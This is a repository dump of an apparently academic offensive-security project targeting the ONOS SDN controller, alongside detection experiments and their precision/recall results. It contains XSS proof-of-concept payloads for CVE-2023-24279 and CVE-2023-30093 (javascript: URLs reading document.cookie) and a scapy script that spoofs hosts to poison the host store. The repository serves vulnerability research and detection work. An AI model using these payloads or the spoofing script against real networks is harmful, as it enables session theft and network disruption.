├── apps ├── linkevent-app │ ├── README.md │ ├── Makefile │ ├── pom.xml │ └── src │ │ └── main │ │ └── java │ │ └── org │ │ └── linkevent │ │ └── app │ │ └── LinkEventApp.java ├── topoedit-app │ ├── README.md │ ├── Makefile │ ├── pom.xml │ └── src │ │ └── main │ │ └── java │ │ └── org │ │ └── topoedit │ │ └── app │ │ └── Topoedit.java ├── store-dumper-app │ ├── README.md │ ├── Makefile │ ├── pom.xml │ └── src │ │ └── main │ │ └── java │ │ └── org │ │ └── onosproject │ │ └── storedumper │ │ └── StoreDumper.java ├── locationrouting-app │ ├── README.md │ ├── Makefile │ ├── pom.xml │ └── src │ │ └── main │ │ └── java │ │ └── org │ │ └── onosproject │ │ └── locationrouting │ │ └── LocationRouting.java ├── dhcpipsat-app │ ├── Makefile │ ├── BUILD │ ├── README.md │ ├── pom.xml │ └── src │ │ └── main │ │ └── java │ │ └── org │ │ └── dhcpipsat │ │ └── app │ │ └── DhcpIpSat.java ├── ipsaturation-app │ ├── Makefile │ ├── README.md │ ├── pom.xml │ └── src │ │ └── main │ │ └── java │ │ └── org │ │ └── ipsaturation │ │ └── app │ │ └── IpSaturation.java ├── xssdevice-app │ ├── Makefile │ ├── README.md │ ├── pom.xml │ └── src │ │ └── main │ │ └── java │ │ └── org │ │ └── onosproject │ │ └── xssdevice │ │ └── XssDevicePoc.java ├── mal-host-tracking-app │ ├── Makefile │ ├── README.md │ ├── pom.xml │ └── src │ │ └── main │ │ └── java │ │ └── org │ │ └── edoardottt │ │ └── malhosttracking │ │ └── MalHostTracking.java ├── trash │ ├── eventhosttracking-app │ │ ├── Makefile │ │ ├── pom.xml │ │ └── src │ │ │ └── main │ │ │ └── java │ │ │ └── org │ │ │ └── onosproject │ │ │ └── event-host-tracking │ │ │ └── app │ │ │ └── EventHostTracking.java │ ├── xss-group-app │ │ ├── pom.xml │ │ └── src │ │ │ └── main │ │ │ └── java │ │ │ └── org │ │ │ └── onosproject │ │ │ └── xssgroup-app │ │ │ └── XssGroup.java │ ├── xsspreferences-app │ │ ├── pom.xml │ │ └── src │ │ │ └── main │ │ │ └── java │ │ │ └── org │ │ │ └── onosproject │ │ │ └── xsspreferences │ │ │ └── app │ │ │ └── XssPreferences.java │ └── xss-host-tracking-app │ │ ├── pom.xml │ │ └── src │ │ └── main │ │ └── java │ │ └── org │ │ └── onosproject │ │ └── xsshosttracking │ │ └── XssHostTracking.java ├── impersonation-host-tracking-app │ ├── Makefile │ ├── README.md │ ├── pom.xml │ └── src │ │ └── main │ │ └── java │ │ └── org │ │ └── edoardottt │ │ └── impersonationhosttracking │ │ └── ImpersonationHostTracking.java ├── README.md └── IpAddressPoolStore.java ├── detection ├── log-analysis │ ├── requirements.txt │ ├── tests │ │ ├── v1 │ │ │ ├── dist1.pdf │ │ │ ├── dist1.png │ │ │ ├── graph1.pdf │ │ │ ├── graph1.png │ │ │ └── README.md │ │ ├── v2 │ │ │ ├── dist2.pdf │ │ │ ├── dist2.png │ │ │ ├── graph2.pdf │ │ │ ├── graph2.png │ │ │ └── README.md │ │ ├── v3 │ │ │ ├── dist3.pdf │ │ │ ├── dist3.png │ │ │ ├── graph3.pdf │ │ │ ├── graph3.png │ │ │ └── README.md │ │ ├── v4 │ │ │ ├── dist4.pdf │ │ │ ├── dist4.png │ │ │ ├── graph4.pdf │ │ │ ├── graph4.png │ │ │ └── README.md │ │ └── v5 │ │ │ ├── dist5.pdf │ │ │ ├── dist5.png │ │ │ ├── graph5.pdf │ │ │ ├── graph5.png │ │ │ └── README.md │ └── README.md └── README.md ├── tests ├── disconnection │ ├── Disconnection_CAP_attack.png │ └── README.md ├── impersonation │ ├── Impersonation_CAP_attack.png │ ├── README.md │ ├── impersonation-h4.pcap │ └── impersonation-h2.pcap ├── README.md └── mininet │ ├── test1.sh │ ├── test2.py │ └── test1.py ├── .github └── FUNDING.yml ├── mininet ├── README.md ├── impersonation.py ├── capped-2h1s.py ├── 1snh.py ├── impersonation-test.py └── nsnh.py ├── scripts ├── add-legit-host-mininet.sh ├── add-fake-host.py └── README.md ├── CVE-2023-24279 ├── CVE-2023-24279-payload.json └── README.md ├── Makefile ├── CVE-2023-30093 ├── CVE-2023-30093-payload.yaml └── README.md ├── .gitignore ├── onos-dm ├── README.md ├── out │ ├── predict2.out │ └── predict1.out ├── auto-encoder.py ├── predict1.py ├── predict2.py ├── gendata2.py └── gendata1.py └── README.md /apps/linkevent-app/README.md: -------------------------------------------------------------------------------- 1 | # linkevent-app 2 | -------------------------------------------------------------------------------- /apps/topoedit-app/README.md: -------------------------------------------------------------------------------- 1 | # topoedit-app 2 | -------------------------------------------------------------------------------- /detection/log-analysis/requirements.txt: -------------------------------------------------------------------------------- 1 | igraph 2 | matplotlib -------------------------------------------------------------------------------- /apps/store-dumper-app/README.md: -------------------------------------------------------------------------------- 1 | ### Store Dumper 2 | 3 | Dump data stores content. 4 | -------------------------------------------------------------------------------- /apps/locationrouting-app/README.md: -------------------------------------------------------------------------------- 1 | ### Location Routing 2 | 3 | (WIP) Delete flow rules of hosts changing locations. 4 | -------------------------------------------------------------------------------- /detection/log-analysis/tests/v1/dist1.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/edoardottt/offensive-onos/HEAD/detection/log-analysis/tests/v1/dist1.pdf -------------------------------------------------------------------------------- /detection/log-analysis/tests/v1/dist1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/edoardottt/offensive-onos/HEAD/detection/log-analysis/tests/v1/dist1.png -------------------------------------------------------------------------------- /detection/log-analysis/tests/v2/dist2.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/edoardottt/offensive-onos/HEAD/detection/log-analysis/tests/v2/dist2.pdf -------------------------------------------------------------------------------- /detection/log-analysis/tests/v2/dist2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/edoardottt/offensive-onos/HEAD/detection/log-analysis/tests/v2/dist2.png -------------------------------------------------------------------------------- /detection/log-analysis/tests/v3/dist3.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/edoardottt/offensive-onos/HEAD/detection/log-analysis/tests/v3/dist3.pdf -------------------------------------------------------------------------------- /detection/log-analysis/tests/v3/dist3.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/edoardottt/offensive-onos/HEAD/detection/log-analysis/tests/v3/dist3.png -------------------------------------------------------------------------------- /detection/log-analysis/tests/v4/dist4.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/edoardottt/offensive-onos/HEAD/detection/log-analysis/tests/v4/dist4.pdf -------------------------------------------------------------------------------- /detection/log-analysis/tests/v4/dist4.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/edoardottt/offensive-onos/HEAD/detection/log-analysis/tests/v4/dist4.png -------------------------------------------------------------------------------- /detection/log-analysis/tests/v5/dist5.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/edoardottt/offensive-onos/HEAD/detection/log-analysis/tests/v5/dist5.pdf -------------------------------------------------------------------------------- /detection/log-analysis/tests/v5/dist5.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/edoardottt/offensive-onos/HEAD/detection/log-analysis/tests/v5/dist5.png -------------------------------------------------------------------------------- /detection/log-analysis/tests/v1/graph1.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/edoardottt/offensive-onos/HEAD/detection/log-analysis/tests/v1/graph1.pdf -------------------------------------------------------------------------------- /detection/log-analysis/tests/v1/graph1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/edoardottt/offensive-onos/HEAD/detection/log-analysis/tests/v1/graph1.png -------------------------------------------------------------------------------- /detection/log-analysis/tests/v2/graph2.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/edoardottt/offensive-onos/HEAD/detection/log-analysis/tests/v2/graph2.pdf -------------------------------------------------------------------------------- /detection/log-analysis/tests/v2/graph2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/edoardottt/offensive-onos/HEAD/detection/log-analysis/tests/v2/graph2.png -------------------------------------------------------------------------------- /detection/log-analysis/tests/v3/graph3.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/edoardottt/offensive-onos/HEAD/detection/log-analysis/tests/v3/graph3.pdf -------------------------------------------------------------------------------- /detection/log-analysis/tests/v3/graph3.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/edoardottt/offensive-onos/HEAD/detection/log-analysis/tests/v3/graph3.png -------------------------------------------------------------------------------- /detection/log-analysis/tests/v4/graph4.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/edoardottt/offensive-onos/HEAD/detection/log-analysis/tests/v4/graph4.pdf -------------------------------------------------------------------------------- /detection/log-analysis/tests/v4/graph4.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/edoardottt/offensive-onos/HEAD/detection/log-analysis/tests/v4/graph4.png -------------------------------------------------------------------------------- /detection/log-analysis/tests/v5/graph5.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/edoardottt/offensive-onos/HEAD/detection/log-analysis/tests/v5/graph5.pdf -------------------------------------------------------------------------------- /detection/log-analysis/tests/v5/graph5.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/edoardottt/offensive-onos/HEAD/detection/log-analysis/tests/v5/graph5.png -------------------------------------------------------------------------------- /tests/disconnection/Disconnection_CAP_attack.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/edoardottt/offensive-onos/HEAD/tests/disconnection/Disconnection_CAP_attack.png -------------------------------------------------------------------------------- /tests/impersonation/Impersonation_CAP_attack.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/edoardottt/offensive-onos/HEAD/tests/impersonation/Impersonation_CAP_attack.png -------------------------------------------------------------------------------- /.github/FUNDING.yml: -------------------------------------------------------------------------------- 1 | github: edoardottt 2 | liberapay: edoardottt 3 | patreon: edoardottt 4 | ko_fi: edoardottt 5 | open_collective: edoardottt 6 | custom: "https://www.paypal.me/edoardottt" 7 | -------------------------------------------------------------------------------- /apps/topoedit-app/Makefile: -------------------------------------------------------------------------------- 1 | compile: 2 | @mvn package -DskipTests 3 | @echo "Done." 4 | 5 | install: 6 | @mvn clean install -DskipTests 7 | @echo "Done." 8 | 9 | oar: 10 | @find . -name '*.oar' -------------------------------------------------------------------------------- /apps/dhcpipsat-app/Makefile: -------------------------------------------------------------------------------- 1 | compile: 2 | @mvn package -DskipTests 3 | @echo "Done." 4 | 5 | install: 6 | @mvn clean install -DskipTests 7 | @echo "Done." 8 | 9 | oar: 10 | @find . -name '*.oar' -------------------------------------------------------------------------------- /apps/ipsaturation-app/Makefile: -------------------------------------------------------------------------------- 1 | compile: 2 | @mvn package -DskipTests 3 | @echo "Done." 4 | 5 | install: 6 | @mvn clean install -DskipTests 7 | @echo "Done." 8 | 9 | oar: 10 | @find . -name '*.oar' -------------------------------------------------------------------------------- /apps/linkevent-app/Makefile: -------------------------------------------------------------------------------- 1 | compile: 2 | @mvn package -DskipTests 3 | @echo "Done." 4 | 5 | install: 6 | @mvn clean install -DskipTests 7 | @echo "Done." 8 | 9 | oar: 10 | @find . -name '*.oar' -------------------------------------------------------------------------------- /apps/store-dumper-app/Makefile: -------------------------------------------------------------------------------- 1 | compile: 2 | @mvn package -DskipTests 3 | @echo "Done." 4 | 5 | install: 6 | @mvn clean install -DskipTests 7 | @echo "Done." 8 | 9 | oar: 10 | @find . -name '*.oar' -------------------------------------------------------------------------------- /apps/xssdevice-app/Makefile: -------------------------------------------------------------------------------- 1 | compile: 2 | @mvn package -DskipTests 3 | @echo "Done." 4 | 5 | install: 6 | @mvn clean install -DskipTests 7 | @echo "Done." 8 | 9 | oar: 10 | @find . -name '*.oar' -------------------------------------------------------------------------------- /apps/locationrouting-app/Makefile: -------------------------------------------------------------------------------- 1 | compile: 2 | @mvn package -DskipTests 3 | @echo "Done." 4 | 5 | install: 6 | @mvn clean install -DskipTests 7 | @echo "Done." 8 | 9 | oar: 10 | @find . -name '*.oar' -------------------------------------------------------------------------------- /apps/mal-host-tracking-app/Makefile: -------------------------------------------------------------------------------- 1 | compile: 2 | @mvn package -DskipTests 3 | @echo "Done." 4 | 5 | install: 6 | @mvn clean install -DskipTests 7 | @echo "Done." 8 | 9 | oar: 10 | @find . -name '*.oar' -------------------------------------------------------------------------------- /apps/trash/eventhosttracking-app/Makefile: -------------------------------------------------------------------------------- 1 | compile: 2 | @mvn package -DskipTests 3 | @echo "Done." 4 | 5 | install: 6 | @mvn clean install -DskipTests 7 | @echo "Done." 8 | 9 | oar: 10 | @find . -name '*.oar' -------------------------------------------------------------------------------- /apps/impersonation-host-tracking-app/Makefile: -------------------------------------------------------------------------------- 1 | compile: 2 | @mvn package -DskipTests 3 | @echo "Done." 4 | 5 | install: 6 | @mvn clean install -DskipTests 7 | @echo "Done." 8 | 9 | oar: 10 | @find . -name '*.oar' -------------------------------------------------------------------------------- /detection/README.md: -------------------------------------------------------------------------------- 1 | # Detection 2 | 3 | Use Python 3.x 4 | 5 | ## Log Generation 6 | 7 | ```console 8 | python log-generation/gen.py 9 | ``` 10 | 11 | ## Log Analysis 12 | 13 | ```console 14 | python log-analysis/analyze.py 15 | ``` 16 | -------------------------------------------------------------------------------- /mininet/README.md: -------------------------------------------------------------------------------- 1 | ### Useful Mininet commands 2 | 3 | - `sh ovs-ofctl dump-flows sX --protocols=Openflow13` (get a flow rules dump of a switch, substitute `sX`) 4 | - `sudo mn --mac --topo linear,4 --controller remote,ip=192.168.1.8 --switch ovs,protocols=Openflow13` 5 | -------------------------------------------------------------------------------- /tests/README.md: -------------------------------------------------------------------------------- 1 | ### Tests and Results 2 | 3 | - [Hosts disconnection attack test and results](https://github.com/edoardottt/offensive-onos/tree/main/tests/disconnection) 4 | - [Hosts impersonation attack test and results](https://github.com/edoardottt/offensive-onos/tree/main/tests/impersonation) 5 | -------------------------------------------------------------------------------- /scripts/add-legit-host-mininet.sh: -------------------------------------------------------------------------------- 1 | # Add an host in mininet while the network is up and running. 2 | 3 | py net.addHost('h5') 4 | py net.addLink(s4, net.get('h5')) 5 | py s4.attach('s4-eth3') 6 | py net.get('h5').cmd('ifconfig h5-eth0 10.0.0.5') 7 | 8 | # delete host 9 | # py net.delHost(net.get('h5')) 10 | -------------------------------------------------------------------------------- /scripts/add-fake-host.py: -------------------------------------------------------------------------------- 1 | # Send this IP packet with `python add-fake-host.py`. 2 | # If Host Location Provider is activated a new host with IP 10.0.0.5 3 | # will be added to the host store. 4 | 5 | from scapy.all import * 6 | 7 | frame = Ether(src="00:00:00:00:00:05", dst="00:00:00:00:00:01")/IP(src="10.0.0.5", dst="10.0.0.4") 8 | 9 | sendp(frame, iface="h1-eth0") 10 | -------------------------------------------------------------------------------- /CVE-2023-24279/CVE-2023-24279-payload.json: -------------------------------------------------------------------------------- 1 | { 2 | "swagger" : "2.0", 3 | "info" : { 4 | "version" : "1.0.100", 5 | "title" : "Swagger UI v2.2.10 XSS POC", 6 | "description" : "Swagger UI v2.2.10 XSS POC", 7 | "contact" : { 8 | "name" : "edoardottt", 9 | "url" : "javascript:alert(document.cookie)", 10 | "email" : "edoardott@gmail.com" 11 | }, 12 | }, 13 | } 14 | -------------------------------------------------------------------------------- /scripts/README.md: -------------------------------------------------------------------------------- 1 | ### Useful scripts 2 | 3 | - [add-legit-host-mininet.sh](https://github.com/edoardottt/offensive-onos-apps/blob/main/scripts/add-legit-host-mininet.sh) adds a new host in Mininet while the network is up and running 4 | - [add-fake-host.py](https://github.com/edoardottt/offensive-onos-apps/blob/main/scripts/add-fake-host.py) can be used to add a new fake host or change a location of a legit host (like ARP poisoning) 5 | -------------------------------------------------------------------------------- /apps/dhcpipsat-app/BUILD: -------------------------------------------------------------------------------- 1 | COMPILE_DEPS = CORE_DEPS + JACKSON 2 | 3 | osgi_jar_with_tests( 4 | karaf_command_packages = ["org.onosproject.dhcpipsat"], 5 | deps = COMPILE_DEPS, 6 | ) 7 | 8 | BUNDLES = [ 9 | "//apps/dhcpipsat-app:onos-apps-dhcpipsat-app", 10 | ] 11 | 12 | onos_app( 13 | category = "Monitoring", 14 | description = "CAP attack POC", 15 | included_bundles = BUNDLES, 16 | title = "Vulnerable DHCP Server", 17 | url = "https://edoardottt.com/", 18 | ) 19 | -------------------------------------------------------------------------------- /Makefile: -------------------------------------------------------------------------------- 1 | # https://github.com/edoardottt/offensive-onos 2 | 3 | compile: 4 | @mvn package -DskipTests 5 | @echo "Done." 6 | 7 | install: 8 | @mvn clean install -DskipTests 9 | @echo "Done." 10 | 11 | oar: 12 | @find . -name '*.oar' 13 | 14 | generate: 15 | @mvn archetype:generate -DarchetypeGroupId=org.onosproject -DarchetypeArtifactId=onos-bundle-archetype -DarchetypeVersion=2.0.0 16 | @echo "Done." 17 | 18 | venv: 19 | @cd detection/log-analysis && python3 -m venv .venv && . .venv/bin/activate && python3 -m pip install -r requirements.txt -------------------------------------------------------------------------------- /detection/log-analysis/README.md: -------------------------------------------------------------------------------- 1 | # Test results 2 | 3 | - [`v1`](https://github.com/edoardottt/offensive-onos/tree/main/detection/log-analysis/tests/v1) 4 | 5 | - [`v2`](https://github.com/edoardottt/offensive-onos/tree/main/detection/log-analysis/tests/v2) 6 | 7 | - [`v3`](https://github.com/edoardottt/offensive-onos/tree/main/detection/log-analysis/tests/v3) 8 | 9 | - [`v4`](https://github.com/edoardottt/offensive-onos/tree/main/detection/log-analysis/tests/v4) 10 | 11 | - [`v5`](https://github.com/edoardottt/offensive-onos/tree/main/detection/log-analysis/tests/v5) 12 | -------------------------------------------------------------------------------- /tests/mininet/test1.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | while true 4 | do 5 | # add host 6 | py net.addHost('h5') 7 | py net.addLink(s4, net.get('h5')) 8 | py s4.attach('s4-eth3') 9 | py net.get('h5').cmd('ifconfig h5-eth0 10.0.0.5') 10 | 11 | # pingall 12 | py net.get('h5').cmd('ping -c 1 10.0.0.1') 13 | py net.get('h5').cmd('ping -c 1 10.0.0.2') 14 | py net.get('h5').cmd('ping -c 1 10.0.0.3') 15 | py net.get('h5').cmd('ping -c 1 10.0.0.4') 16 | 17 | # delete host 18 | py net.delHost(net.get('h5')) 19 | 20 | sleep 1 21 | done 22 | -------------------------------------------------------------------------------- /CVE-2023-30093/CVE-2023-30093-payload.yaml: -------------------------------------------------------------------------------- 1 | swagger: "2.0" 2 | info: 3 | title: edoardottt XSS 4 | description: XSS ONOS POC 5 | version: 1.0.0 6 | host: edoardottt.com 7 | basePath: /v1 8 | schemes: 9 | - https 10 | 11 | securityDefinitions: 12 | OAuth2: 13 | type: oauth2 14 | flow: accessCode 15 | authorizationUrl: javascript:alert(document.cookie)// 16 | tokenUrl: https://example.com/oauth/token 17 | scopes: 18 | read: Grants read access 19 | write: Grants write access 20 | admin: Grants read and write access to administrative information -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | onos-dm/data* 2 | .vscode/ 3 | target/ 4 | test*.log 5 | cap*.log 6 | .venv 7 | test-info.txt 8 | generated_cap.txt 9 | test-backup/ 10 | 11 | # ONOS compiled apps 12 | *.oar 13 | 14 | # ONOS store dump files 15 | *.dump 16 | 17 | # Compiled class file 18 | *.class 19 | 20 | # BlueJ files 21 | *.ctxt 22 | 23 | # Mobile Tools for Java (J2ME) 24 | .mtj.tmp/ 25 | 26 | # Package Files # 27 | *.jar 28 | *.war 29 | *.nar 30 | *.ear 31 | *.zip 32 | *.tar.gz 33 | *.rar 34 | 35 | # virtual machine crash logs, see http://www.java.com/en/download/help/error_hotspot.xml 36 | hs_err_pid* 37 | replay_pid* 38 | -------------------------------------------------------------------------------- /tests/mininet/test2.py: -------------------------------------------------------------------------------- 1 | from mininet import net 2 | 3 | def connTest(): 4 | print( "Testing host connections" ) 5 | while True: 6 | net.addHost('h5') 7 | s4 = net.get('s4') 8 | net.addLink(s4, net.get('h5')) 9 | s4.attach('s4-eth3') 10 | net.get('h5').cmd('ifconfig h5-eth0 10.0.0.5') 11 | 12 | # pingall 13 | net.get('h5').cmd('ping -c 1 10.0.0.1') 14 | net.get('h5').cmd('ping -c 1 10.0.0.2') 15 | net.get('h5').cmd('ping -c 1 10.0.0.3') 16 | net.get('h5').cmd('ping -c 1 10.0.0.4') 17 | 18 | # delete host 19 | net.delHost(net.get('h5')) 20 | 21 | -------------------------------------------------------------------------------- /mininet/impersonation.py: -------------------------------------------------------------------------------- 1 | # 2 | # sudo mn --mac --custom impersonation.py --topo impersonation --controller remote,ip=192.168.1.8 --switch ovs,protocols=OpenFlow13 3 | # 4 | 5 | from mininet.topo import Topo 6 | 7 | class ImpersonationTopo( Topo ): 8 | 9 | def build( self ): 10 | switch1 = self.addSwitch('s1') 11 | h1 = self.addHost('h1') 12 | self.addLink(switch1, h1) 13 | switch2 = self.addSwitch('s2') 14 | self.addLink(switch1, switch2) 15 | for h in range(1, 4): 16 | host = self.addHost('h%s' % (h + 1)) 17 | self.addLink(host, switch2) 18 | 19 | 20 | topos = { 'impersonation': ( lambda: ImpersonationTopo() ) } 21 | -------------------------------------------------------------------------------- /detection/log-analysis/tests/v4/README.md: -------------------------------------------------------------------------------- 1 | # test.log 2 | 3 | ```text 4 | Which is the new application? j 5 | Enter the time section value: 1000 6 | Enter the maximum length for CAP vectors: 5 7 | The new application is the one under test? (Y/n): n 8 | Found 11 CAP attack vectors! 9 | CAP search in logs started at 2023-09-25 16:09:20.735924. 10 | > Scanning line 130000/130000... 11 | CAP search in logs took 0:00:01.316543. 12 | Found 130 potentially exploited CAP gadgets! 13 | Total positives: 130 14 | True positives: 0 15 | False positives: 130 16 | False negatives: 0 17 | Precision: N/A 18 | Recall: N/A 19 | ``` 20 | 21 | ![graph](https://github.com/edoardottt/offensive-onos/blob/main/detection/log-analysis/tests/v4/graph4.png) 22 | 23 | ![distribution](https://github.com/edoardottt/offensive-onos/blob/main/detection/log-analysis/tests/v4/dist4.png) 24 | -------------------------------------------------------------------------------- /detection/log-analysis/tests/v5/README.md: -------------------------------------------------------------------------------- 1 | # test.log 2 | 3 | ```text 4 | Which is the new application? c 5 | Enter the time section value: 200 6 | Enter the maximum length for CAP vectors: 5 7 | The new application is the one under test? (Y/n): 8 | Found 4 CAP attack vectors! 9 | CAP search in logs started at 2023-09-26 08:47:27.777226. 10 | > Scanning line 124036/124036... 11 | CAP search in logs took 0:00:00.675262. 12 | Found 1094 potentially exploited CAP gadgets! 13 | Total positives: 1094 14 | True positives: 1018 15 | False positives: 76 16 | False negatives: 0 17 | Precision: 0.931 18 | Recall: 1.0 19 | ``` 20 | 21 | ![graph](https://github.com/edoardottt/offensive-onos/blob/main/detection/log-analysis/tests/v5/graph5.png) 22 | 23 | ![distribution](https://github.com/edoardottt/offensive-onos/blob/main/detection/log-analysis/tests/v5/dist5.png) 24 | -------------------------------------------------------------------------------- /detection/log-analysis/tests/v1/README.md: -------------------------------------------------------------------------------- 1 | # test.log 2 | 3 | ```text 4 | Which is the new application? m 5 | Enter the time section value: 1000 6 | Enter the maximum length for CAP vectors: 5 7 | The new application is the one under test? (Y/n): 8 | Found 24 CAP attack vectors! 9 | CAP search in logs started at 2023-09-26 10:33:21.776770. 10 | > Scanning line 139896/139896... 11 | CAP search in logs took 0:00:02.669477. 12 | Found 5997 potentially exploited CAP gadgets! 13 | Total positives: 5997 14 | True positives: 4948 15 | False positives: 1049 16 | False negatives: 0 17 | Precision: 0.825 18 | Recall: 1.0 19 | ``` 20 | 21 | ![graph](https://github.com/edoardottt/offensive-onos/blob/main/detection/log-analysis/tests/v1/graph1.png) 22 | 23 | ![distribution](https://github.com/edoardottt/offensive-onos/blob/main/detection/log-analysis/tests/v1/dist1.png) 24 | -------------------------------------------------------------------------------- /detection/log-analysis/tests/v2/README.md: -------------------------------------------------------------------------------- 1 | # test.log 2 | 3 | ```text 4 | Which is the new application? a 5 | Enter the time section value: 1000 6 | Enter the maximum length for CAP vectors: 5 7 | The new application is the one under test? (Y/n): 8 | Found 8 CAP attack vectors! 9 | CAP search in logs started at 2023-09-26 10:36:08.917322. 10 | > Scanning line 139954/139954... 11 | CAP search in logs took 0:00:01.414003. 12 | Found 6760 potentially exploited CAP gadgets! 13 | Total positives: 6760 14 | True positives: 4977 15 | False positives: 1783 16 | False negatives: 0 17 | Precision: 0.736 18 | Recall: 1.0 19 | ``` 20 | 21 | ![graph](https://github.com/edoardottt/offensive-onos/blob/main/detection/log-analysis/tests/v2/graph2.png) 22 | 23 | ![distribution](https://github.com/edoardottt/offensive-onos/blob/main/detection/log-analysis/tests/v2/dist2.png) 24 | -------------------------------------------------------------------------------- /detection/log-analysis/tests/v3/README.md: -------------------------------------------------------------------------------- 1 | # test.log 2 | 3 | ```text 4 | Which is the new application? l 5 | Enter the time section value: 1000 6 | Enter the maximum length for CAP vectors: 5 7 | The new application is the one under test? (Y/n): n 8 | Found 17 CAP attack vectors! 9 | CAP search in logs started at 2023-09-28 15:37:53.483446. 10 | > Scanning line 149868/149868... 11 | CAP search in logs took 0:00:02.234046. 12 | Found 8153 potentially exploited CAP gadgets! 13 | Total positives: 8153 14 | True positives: 4505 15 | False positives: 3648 16 | False negatives: 462 17 | Precision: 0.553 18 | Recall: 0.907 19 | ``` 20 | 21 | ![graph](https://github.com/edoardottt/offensive-onos/blob/main/detection/log-analysis/tests/v3/graph3.png) 22 | 23 | ![distribution](https://github.com/edoardottt/offensive-onos/blob/main/detection/log-analysis/tests/v3/dist3.png) 24 | -------------------------------------------------------------------------------- /onos-dm/README.md: -------------------------------------------------------------------------------- 1 | These files are intended to help/build/use data mining in ONOS in order to detect CAP attacks. 2 | 3 | Results obtained with gendata2 & predict2 (K-nearest neighbors, K = 3): 4 | 5 | ``` 6 | ----------- Training data ----------- 7 | Read 1000/1000 lines 8 | Model score: 0.975 9 | Model confusion matrix: 10 | [[520 23] 11 | [ 2 455]] 12 | ----------- Test data ----------- 13 | Read 200/200 lines 14 | Model score: 0.98 15 | Model confusion matrix: 16 | [[105 4] 17 | [ 0 91]] 18 | Time difference is 0.0 seconds 19 | ``` 20 | 21 | ``` 22 | ----------- Training data ----------- 23 | Read 200000/200000 lines 24 | Model score: 0.987855 25 | Model confusion matrix: 26 | [[105765 2121] 27 | [ 308 91806]] 28 | ----------- Test data ----------- 29 | Read 40000/40000 lines 30 | Model score: 0.975075 31 | Model confusion matrix: 32 | [[20758 816] 33 | [ 181 18245]] 34 | The test ran for 1199.0 seconds 35 | ``` 36 | -------------------------------------------------------------------------------- /apps/dhcpipsat-app/README.md: -------------------------------------------------------------------------------- 1 | # DHCP IP Saturation Application 2 | 3 | DHCP Server vulnerable to IP Saturation (via CAP attack). 4 | 5 | How to use 6 | ----- 7 | 8 | Set up data plane using Mininet (use your ONOS IP address): 9 | 10 | ```console 11 | sudo mn --mac --topo linear,4 --controller remote,ip=192.168.1.8 --switch ovs,protocols=OpenFlow13 12 | ``` 13 | 14 | Compile and check for errors: 15 | 16 | ```console 17 | make compile 18 | ``` 19 | 20 | Compile the app into an .oar (ONOS app archive) file which can be installed into ONOS: 21 | 22 | ```console 23 | make install 24 | ``` 25 | 26 | Search for .oar files 27 | 28 | ```console 29 | make oar 30 | ``` 31 | 32 | Start ONOS locally 33 | 34 | ```console 35 | bazelisk run onos-local --host_force_python=PY3 36 | ``` 37 | 38 | Install the application 39 | 40 | ```console 41 | ./tools/package/runtime/bin/onos-app localhost install! ~/github/offensive-onos-apps/apps/dhcpipsat-app/target/onos-dhcpipsat-2.0.0-SNAPSHOT.oar 42 | ``` 43 | -------------------------------------------------------------------------------- /apps/mal-host-tracking-app/README.md: -------------------------------------------------------------------------------- 1 | # Malicious Host Tracking Application 2 | 3 | Disconnect hosts poisoning the host store with fake locations. 4 | 5 | How to use 6 | ----- 7 | 8 | Setup data plane with Mininet (use your ONOS IP address): 9 | 10 | ```console 11 | sudo mn --mac --topo linear,4 --controller remote,ip=192.168.1.8 --switch ovs,protocols=OpenFlow13 12 | ``` 13 | 14 | Compile and check for errors: 15 | 16 | ```console 17 | make compile 18 | ``` 19 | 20 | Compile the app into an .oar (ONOS app archive) file which can be installed into ONOS: 21 | 22 | ```console 23 | make install 24 | ``` 25 | 26 | Search for .oar files 27 | 28 | ```console 29 | make oar 30 | ``` 31 | 32 | Start ONOS locally 33 | 34 | ```console 35 | bazel run onos-local 36 | ``` 37 | 38 | Install the application 39 | 40 | ```console 41 | ./tools/package/runtime/bin/onos-app localhost install! ~/github/offensive-onos-apps/apps/mal-host-tracking-app/target/onos-malhosttracking-2.0.0-SNAPSHOT.oar 42 | ``` 43 | -------------------------------------------------------------------------------- /apps/ipsaturation-app/README.md: -------------------------------------------------------------------------------- 1 | # IP Saturation Application 2 | 3 | Malicious IP Saturation Application for vulnerable DHCP Server. 4 | 5 | How to use 6 | ----- 7 | 8 | Set up data plane using Mininet (use your ONOS IP address): 9 | 10 | ```console 11 | sudo mn --mac --topo linear,4 --controller remote,ip=192.168.1.8 --switch ovs,protocols=OpenFlow13 12 | ``` 13 | 14 | Compile and check for errors: 15 | 16 | ```console 17 | make compile 18 | ``` 19 | 20 | Compile the app into an .oar (ONOS app archive) file which can be installed into ONOS: 21 | 22 | ```console 23 | make install 24 | ``` 25 | 26 | Search for .oar files 27 | 28 | ```console 29 | make oar 30 | ``` 31 | 32 | Start ONOS locally 33 | 34 | ```console 35 | bazelisk run onos-local --host_force_python=PY3 36 | ``` 37 | 38 | Install the application 39 | 40 | ```console 41 | ./tools/package/runtime/bin/onos-app localhost install! ~/github/offensive-onos-apps/apps/ipsaturation-app/target/onos-ipsaturation-2.0.0-SNAPSHOT.oar 42 | ``` 43 | -------------------------------------------------------------------------------- /apps/impersonation-host-tracking-app/README.md: 